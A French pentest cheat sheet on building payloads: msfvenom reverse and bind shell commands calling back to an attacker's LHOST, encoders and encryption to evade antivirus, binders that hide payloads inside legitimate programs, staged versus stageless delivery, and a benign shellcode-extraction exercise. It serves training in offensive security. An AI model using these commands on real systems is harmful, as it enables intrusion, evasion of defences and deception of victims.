🌴Payload / shellcode
générer des payloads et shellcode avec metasploit, puis manuellement
Un shellcode est un petit programme écrit en langage assembleur qui est conçu pour être injecté dans un autre programme ou dans un processus en cours d'exécution.
Un payload, d'autre part, est un terme plus générique qui fait référence à la charge utile d'un programme ou d'un fichier. Dans le contexte de la sécurité informatique, un payload peut être n'importe quel type de code malveillant, y compris un shellcode, un virus, un cheval de Troie, etc.
En d'autres termes, un shellcode est un type spécifique de payload qui est conçu pour être injecté dans un autre programme ou processus, tandis qu'un payload peut être n'importe quel type de code malveillant.
📡 Metasploit
Les payload metasploit se feront souvent détecter par les antivirus (voir la doc d'obfuscation)
📦 Exemples de payload
Payloads Windows
Reverse TCP Shell:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<your_ip> LPORT=<your_port> -f exe > shell.exeBind TCP Shell:
msfvenom -p windows/meterpreter/bind_tcp RHOST=<target_ip> -f exe > shell.exe
Payloads Linux
Reverse TCP Shell:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<your_ip> LPORT=<your_port> -f elf > shell.elfBind TCP Shell:
msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=<target_ip> -f elf > shell.elf
Payloads Android
Reverse TCP Shell:
msfvenom -p android/meterpreter/reverse_tcp LHOST=<your_ip> LPORT=<your_port> -o app.apk
Payloads MacOS
Reverse TCP Shell:
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<your_ip> LPORT=<your_port> -f macho > shell.macho
Options communes
LHOST : L'adresse IP de la machine attaquante (votre machine).
LPORT : Le port que vous utilisez pour écouter les connexions entrantes.
RHOST : L'adresse IP de la machine cible.
RPORT : Le port sur lequel la machine cible écoute.
-f : Format du payload (exe, elf, apk, macho, etc.).
-o : Nom du fichier de sortie.
Format pour générer un shellcode à intégrer dans un fichier (-f)
Format C : le shellcode est généré sous forme de tableau de caractères en langage C, qui peut être facilement intégré dans un programme C ou C++.
Format Python : le shellcode est généré sous forme de chaîne de caractères en langage Python, qui peut être utilisée dans un script Python.
Format Raw : le shellcode est généré sous forme de données brutes, qui peuvent être écrites directement dans un fichier binaire ou intégrées dans un programme à l'aide d'une fonction d'écriture de mémoire.
Format Hex : le shellcode est généré sous forme de chaîne de caractères hexadécimaux, qui peuvent être facilement intégrées dans un programme à l'aide d'une fonction de conversion de chaîne en tableau de caractères.
Format pour générer des application (-f)
exe: génère un fichier exécutable Windows pour les systèmes 32 bits ou 64 bits.elf: génère un fichier exécutable et lien (ELF) pour les systèmes Linux et Unix.macho: génère un fichier exécutable Mach-O pour les systèmes macOS.apk: génère un fichier d'application Android pour les appareils Android.war: génère un fichier d'archive Web (WAR) pour les applications Java Web.
Le chiffrement est utilisé pour sécuriser les données en les rendant illisibles sans la clé de déchiffrement appropriée, tandis que l'encodage est utilisé pour transformer les données d'un format à un autre sans nécessiter une clé de récupération.
Afficher algorithmes de chiffrement
Afficher encoder
msfvenom --list encoder
Exemple de payload reverse shell pour Windows, chiffré avec AES256 et encodé avec shikata_ga_nai.
Ajout du chiffrement et de l'encoder (-e -i -c)
-e : Spécifie l'encodeur. Ici,
x86/shikata_ga_nai.-i : Nombre d'itérations d'encodage. Ici, 3 fois.
-c : Spécifie l'algorithme de chiffrement. Ici,
aes256.-f : Format de sortie. Ici, un fichier exécutable Windows (
exe).-o : Spécifie le fichier de sortie. Ici,
payload.exe.
format de fichier raw pour généré sous forme de données brutes, qui peuvent être utilisées dans d'autres programmes ou fichiers.
Exemple 👏
Cette opération est utile pour rendre le fichier exécutable plus difficile à détecter par les antivirus en modifiant sa signature.
Cette commande prend un fichier exécutable Windows existant (encoded_payload.exe), le modifie en utilisant un encodeur spécifique (x86/shikata_ga_nai) avec 5 itérations, conserve les sections existantes du binaire (-k), et enregistre le résultat dans un nouveau fichier exécutable appelé encrypted_payload.exe.
Binders
Les binders sont des outils utiles pour masquer des charges malveillantes à l'intérieur de programmes légitimes
Lors de la création d'une véritable charge utile, vous voudrez peut-être utiliser des encodeurs, des crypteurs ou des packers pour dissimuler votre shellcode aux AV basés sur des signatures, puis le lier à un exécutable connu afin que l'utilisateur ne sache pas ce qui est exécuté.
La principale limitation de cette méthode est que les antivirus peuvent toujours détecter la charge utile malveillante ou la manipulation du programme légitime. Même si vous encodez la charge utile, fusionnez les fichiers et utilisez des techniques d'obfuscation, les signatures des antivirus peuvent toujours repérer des schémas suspects dans le fichier résultant.
Payload Staged et Stageless (-p)
Pour contourner un antivirus (AV), nous explorons deux principales méthodes pour livrer le shellcode à une victime : les charges utiles "stageless" (sans étapes) et "staged" (par étapes). Voyons les différences entre ces approches et leurs avantages respectifs.
Charges Utiles Stageless
Les charges utiles stageless contiennent directement le shellcode final, prêt à être exécuté. C'est comme une application complète qui exécute le shellcode en un seul processus.
Exemple : Une charge utile stageless peut intégrer un shellcode qui, lorsqu'il est exécuté, ouvre une connexion inverse (reverse shell) vers l'attaquant.
Charges Utiles Staged
Les charges utiles staged utilisent des étapes intermédiaires pour exécuter le shellcode final. Le shellcode initial, appelé stager, télécharge et exécute le shellcode final.
Exemple : Un stager (stage0) se connecte à l'attaquant pour télécharger le shellcode final, puis l'injecte en mémoire et l'exécute.
Stageless vs Staged
Avantages des Charges Utiles Stageless
Autonomie complète : Contient tout ce qui est nécessaire pour fonctionner.
Pas de connexion réseau : Réduit le risque de détection par des systèmes de prévention des intrusions (IPS).
Environnements isolés : Idéal pour des réseaux avec une connectivité limitée.
Inconvénients des Charges Utiles Stageless
Taille plus grande : Le payload peut être volumineux car il contient tout le shellcode.
Moins de flexibilité : Ne permet pas de changer facilement le shellcode une fois le payload généré.
Avantages des Charges Utiles Staged
Petite taille sur disque : Le stager initial est de petite taille.
Sécurité accrue : Le shellcode final n'est pas intégré dans l'exécutable initial, limitant l'exposition.
Exécution en mémoire : Le shellcode final ne touche jamais le disque, ce qui rend la détection par les antivirus (AV) plus difficile.
Flexibilité : Le même stager peut être utilisé pour plusieurs shellcodes différents.
Inconvénients des Charges Utiles Staged
Dépendance réseau : Nécessite une connexion réseau pour télécharger le shellcode final, augmentant le risque de détection.
Complexité accrue : Plus difficile à mettre en œuvre en raison de la nature multi-étapes.
Conclusion
Le choix entre stageless et staged dépend du contexte :
Utilisez des charges utiles stageless pour des environnements sans connexion réseau fiable et où le fichier peut être plus grand.
Utilisez des charges utiles staged pour une empreinte minimale sur le disque et une flexibilité maximale, mais nécessitant une connexion réseau pour fonctionner.
Utilisation dans Metasploit
En utilisant msfvenom ou Metasploit, vous pouvez choisir entre les charges utiles stageless et staged. Par exemple :
windows/x64/shell_reverse_tcp
Stageless
windows/x64/shell/reverse_tcp
Staged
📡 Mode écoute (reverse shell)
Écouter les connexions avec Metasploit
Après avoir généré et déployé votre payload, vous devez configurer Metasploit pour écouter les connexions entrantes.
⌨️ Création de shell code linux
But : créé une application Linux qui lance un code obfusqué au démarrage.
Dans ce tutoriel, nous allons créer un shellcode simple pour Linux en utilisant le langage d'assemblage. Un shellcode est un ensemble d'instructions binaires conçu pour être exécuté directement par un interpréteur de commandes (shell) ou injecté dans un programme pour modifier son comportement.
Code Assembleur : thm.asm
Nous commençons par écrire le code assembleur dans un fichier nommé "thm.asm".
Le programme commence par définir
_startcomme point d'entrée.Il saute ensuite à l'étiquette
MESSAGE.L'étiquette
GOBACKest utilisée pour effectuer un appel système (syscall) afin d'écrire le message sur la sortie standard. Ensuite, le programme se termine en effectuant un appel système pour quitter proprement.L'étiquette
MESSAGEcontient le message à afficher, suivi d'un retour chariot (0dh) et d'un saut de ligne (0ah).
Compilation et Exécution
Assembler et Lier le Code :
Assembler le code source thm.asm en un fichier objet thm.o en utilisant la commande suivante :
Lier le fichier objet thm.o et générer un fichier exécutable thm en utilisant la commande suivante :
Exécution :
Exécuter le fichier exécutable thm en utilisant la commande suivante. La sortie attendue est "THM, Rocks!".
Extraction du Shellcode
Afficher le code assembleur du fichier exécutable thm en utilisant la commande suivante :
Extraire la section .text (qui contient le code machine) du fichier exécutable thm et générer un fichier binaire thm.text en utilisant la commande suivante :
Afficher le contenu du fichier binaire thm.text sous forme hexadécimale en utilisant la commande suivante. Cette commande est utilisée pour générer le shellcode, qui peut être intégré dans d'autres programmes.
Injection du Shellcode dans un Programme C : thm.c
Dans le code C fourni, insérer le shellcode extrait précédemment dans le tableau message[].
Compiler le code source C (dans ce cas, le fichier source est thm.c) et générer un fichier exécutable thmx en utilisant la commande suivante :
Exécuter le fichier exécutable thmx en utilisant la commande suivante :
Last updated